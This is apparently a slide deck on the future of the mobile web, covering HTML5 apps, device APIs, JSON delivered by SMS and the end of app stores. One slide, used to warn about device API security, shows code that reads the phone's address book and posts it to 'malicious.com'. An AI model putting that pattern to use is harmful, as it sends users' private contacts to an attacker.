The future of the mobile web

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Apps in theory

- Symbian: 38%
- Android: 22%
- iOS: 16%
- BlackBerry: 16%
- Windows: 4%
- bada: 3%
Apps in practice

- Android (16%)
- iOS (22%)

Rest? What rest?
Apps in the future
HTML5 apps

• One core app written in HTML, CSS, and JavaScript.
• Deployed to several mobile platforms.
• Ideally, CSS and JavaScript are stored on the device.
• If it can't be deployed it's still a website.
HTML5 app deployment

- http://apparat.io/ (Uxebu)
- https://build.phonegap.com/ (Nitobi)
Device APIs

- Native apps offer device APIs.
- They allow you to access the camera, accelerometer, SMS, file system, etc.
- They tie in your site or app with the mobile context.
- Web apps will have to offer them, too.
Device APIs

device.phone.call(device.addressBook['mom'])

Great!
Well ...

var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
• Trusted apps from store
• Better security interface
Device APIs spec

- BONDI (obsolete)
- JIL (obsolete)
- W3C DAP (not yet ready)
- WAC 2.0
2014

Apps!
keep track of prices,
keep track of multiple ships,
give warning against corrupt police officers
Fisherman

Fisherman’s cousin (also a fisherman)

I’ve done it. In April 2009.
And it worked.
Almost.
There was a compatibility issue.
But still the concept was viable.
Data will likely be JSON
- Light-weight
- Already works everywhere

But how do we get the JSON onto the phone?
Wifi?
Not available
Data plan?
Too expensive
SMS?
Sounds about right
JSON over SMS

- SMS is the only way of pushing data (so far)
- Premium SMS allows the service to make money easily
- Nearly every phone supports SMS
- It’s human-readable (more or less)
To: 06184322728

date: 150225,
towns: {
  town1: {
    prices: {
      catfish: 0.88,
      dogfish: 1.34,
      shellfish: 0.79
    },
  },
  town2: {
    prices: {
      catfish: 0.97,
      dogfish: 1.13,
      shellfish: 0.48
    },
  },
}
JSON over SMS

- But: cost.
- Maybe prices will go down
- Or maybe something else will take the place of SMS.
- IM? (Nokia, BlackBerry)
- As long as it’s push. And you can charge for it.
JSON over SMS

- And: illiteracy
- Images instead of text?
- : 0.88
- Or a voice-over app?
Money

- But if the user can share apps freely
- and pays for the data
- monetization is going to change considerably
- We don’t need app stores any more
End of app stores

• “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.”

- Eric Meyer
What do we need app stores for?

- Distribution
- Discoverability
- Ease of payments and making money
- Cost of ownership
- Works for Apple. But will it work for anyone else?
Distribution
Discoverability
Payments
Exhibit 9a: Early M-PESA ad emphasizing sending money from urban to rural areas linking into family and social ties
Cost of ownership

An app store needs:

- payment system
- sysadmins
- content checkers
- documentation and best practices writers
- hosting

Costs a lot of money. Too much money, especially if nobody uses the app store.
Works for Apple

- Apple has leverage with enthusiastic developers and affluent consumers
- Google has leverage with developers
- Nokia, Samsung, and RIM have leverage with consumers (though they’re less willing to spend money)
- But none of them has both
End of app stores

Will any app stores survive?

• Apple’s iOS apps will continue to exist.
• Maybe a few other platform-specific ones, too.
• Specialised app stores (structural engineering, music creation, historical maps, etc.)
Future of the Mobile Web

• Many native apps will be replaced by web apps, which can run anywhere

• Device APIs (but security!)

• Apps will be shared via Bluetooth

• Web data will also be offered via SMS

• Pay for content, not app

• App stores on the defensive
Thank you

I will post these slides online, but only in mid May.

Questions?

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